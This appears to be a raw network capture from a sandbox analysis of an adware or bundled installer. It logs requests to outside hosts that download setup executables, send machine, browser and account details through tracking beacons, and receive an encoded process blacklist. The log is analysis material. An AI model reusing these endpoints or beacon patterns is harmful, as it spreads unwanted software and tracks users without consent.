Date: Thu, 30 Apr 2015 09:25:11 GMT
<RESULT>.<ANON>.<ID>3b091727-27e1-4c47-b3f1-08da5080
b725</ID>.<PW>xOjNfrxi</PW>.</ANON>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=i0ikdm45oy4ymsyltckixl55


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1362
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:11 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b
95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d
2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGQU1engvXN0rq3VPQPI0y8 orWOLw==" />..<
input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERAT
OR" value="E8033FCD" />..    <div>..    ..    </div>.. 
   </form>..</body>..</html>......
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430385914&SBPIDS=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=i0ikdm45oy4ymsyltckixl55


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 100546
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:14 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385920&SBPIDS=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=i0ikdm45oy4ymsyltckixl55


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:20 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 2015 09:25:20 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385970&SBPIDS=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=i0ikdm45oy4ymsyltckixl55


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:26:10 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 2015 09:26:10 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm
<<< skipped >>>


GET /settings?s=9813&ins=1&ver=1.00 HTTP/1.1
Host: lb.webovernet.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:01 GMT
Content-Length: 172
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~q...6k..G....G....*.-....mW...
w......W.....e.........?!.He:...HTTP/1.1 200 OK..Cache-Control: privat
e..Content-Type: text/html; charset=utf-8..Content-Encoding: gzip..Var
y: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5
0727..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 2015 09:25:01 GMT..Cont
ent-Length: 172...............`.I.%&/m.{.J.J..t...`[email protected]#).
*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"~q...6k..G....
G....*.-....mW...w......W.....e.........?!.He:.....



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321582-643164
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321583
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 21 Apr 2015 16:12:59 GMT
Content-Range: bytes 321582-643164/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: bXtFmge5aW4yfLu2PqlZ0oM1E1SGzV8VXJ9a6YK_APU_ozLd4h0fzQ==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..
<<< skipped >>>


GET /c/SetupComponents.exe HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: webprotectionfree.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:27:00 GMT
Content-Type: text/html
Content-Length: 177
Connection: keep-alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>..HTTP/1.1 403 
Forbidden..Server: nginx/1.4.6 (Ubuntu)..Date: Thu, 30 Apr 2015 09:27:
00 GMT..Content-Type: text/html..Content-Length: 177..Connection: keep
-alive..<html>..<head><title>403 Forbidden</title
></head>..<body bgcolor="white">..<center><h1&
gt;403 Forbidden</h1></center>..<hr><center>ng
inx/1.4.6 (Ubuntu)</center>..</body>..</html>....



GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925 HTTP/1.1
Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 0i2MF93DeNXPHfO5odBwcG1/vNlqkskL/GpP2ymLM042/zv7/F9wUhXduLdDKLaz
x-amz-request-id: 9DFBB2826CCF8DDA
Date: Thu, 30 Apr 2015 09:25:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 0i2MF9
3DeNXPHfO5odBwcG1/vNlqkskL/GpP2ymLM042/zv7/F9wUhXduLdDKLaz..x-amz-requ
est-id: 9DFBB2826CCF8DDA..Date: Thu, 30 Apr 2015 09:25:26 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935 HTTP/1.1


Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: eDiv18YsKgWKUtdovk6 xQRznjyilUSAm0cPY2wj7hz6y5YnAoay o2ZdlyhHufO
x-amz-request-id: C6DD775197BD7BFE
Date: Thu, 30 Apr 2015 09:25:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935 HTTP/1.1


Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ETwpzhJjKLj5Ql9uG8gdKTcPc9iW4lSSmZcG2xYQJmLPFJSe5 Cf2vfsopVF9nlm
x-amz-request-id: 7A5BF7AD4430F590
Date: Thu, 30 Apr 2015 09:25:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:08 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ETwpzh
JjKLj5Ql9uG8gdKTcPc9iW4lSSmZcG2xYQJmLPFJSe5 Cf2vfsopVF9nlm..x-amz-requ
est-id: 7A5BF7AD4430F590..Date: Thu, 30 Apr 2015 09:25:36 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:16:08 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=964747-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321582
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 17 Apr 2015 07:56:30 GMT
Content-Range: bytes 964747-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jK6vKbzwHsGDQDjqjW4P6rI5EtdOuN1Ogg_7gCZq2KxsFB4iM4eHEw==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=54692-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18230
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 54692-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZUjmBz6P8pegqjV7EayA1YnWyk2qqbQsHlWv0-ZUaMyvCzmkdIZ_KA==
c...D..w=*>..P.g...l..6.I..O}4........%.!.h.dkz....G..w....,.,(g.t.
5!.(:..!<.n.......)...R.S..IFu..r$PoWIA.2....{..#.W...8`... ..u..*W
.....FL..*.'.....P.<.O.c.$.@6{..E.[[email protected]=o.........m.G.9...P./N
....C{.5...;.(....y.s....;Y.q..rgw9.L..[..X..L.( '".y*...#....FI/.....
.,...%.my$...K....[.R.]...2........p...=.[.d.$U!.Y.....L.I....k...../N
.EFS..]K.c.Q5.Wkp...;..)pvTBMl...)4.o^...C.XbtQ.v4....4........1.....k
4L.~mO...P|&.c.6.....q.I[..a..#..L=..e..:.|Iv........L.....5.5 cn2.}.Q
[email protected]..... ........3.M!.9.. .x.!..r....:...::.~=..4...E.>,......
...c...u....R8N..m.....;t..c......%..dN.%.X.S.G..r........5.1aIG@...\ 
{=.9,1^[email protected]... .]..O..q...H..h1.....[....#.r
.-. .A.8.u...Aq....x..Y.H.7G&G...V..h..&Q?.m.;.N...y.......f..X. .).e&
gt;..y..i...^.9|.H..T...u..*[email protected]..
...._.v.....3.....,....q=.........'*....8.&..J.UJ.....t..!........6K.F
..\.7.h...?.....n..>.[.)?H@ ........p.;..S.T.?..T......,.0...].....
X.}...v[..saQg.q.u...j.. ..t..Rb3...c.............Sf~..Q.%.Y...X.u7.."
l%.?%.9.4o.../f_W....#..R...Qp.c..........OG.*P.$.5..%[email protected]
...b........W......P.X.H\~.1.....2.tjEx...k...X.6.....b.D.W..9G;.(..xL
.x...I.S...CC..\.........l7^.a.^.z..c~e...........%...f.K.Kk'..O..T...
Y.r.i6zW.....S.EX..f./..x..P...........`......n...Q.He...oQ=...~,.....
#..zf].J....W...b.......=..6.d!....j...8.5..~...8.R.@{E1.9...s..40<
...N J.z.z.n-e?%.67..Ja.?.w*[email protected]....:.........7.
.SW..%..Uhe....r;5.F.F.....3.-...Ftf....E.....{.[[email protected]....
<<< skipped >>>


GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
If-Modified-Since: Wed, 29 Apr 2015 08:47:22 GMT
If-None-Match: "55409a9a-d66"
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:23:48 GMT
Server: nginx
ETag: "55409a9a-d66"
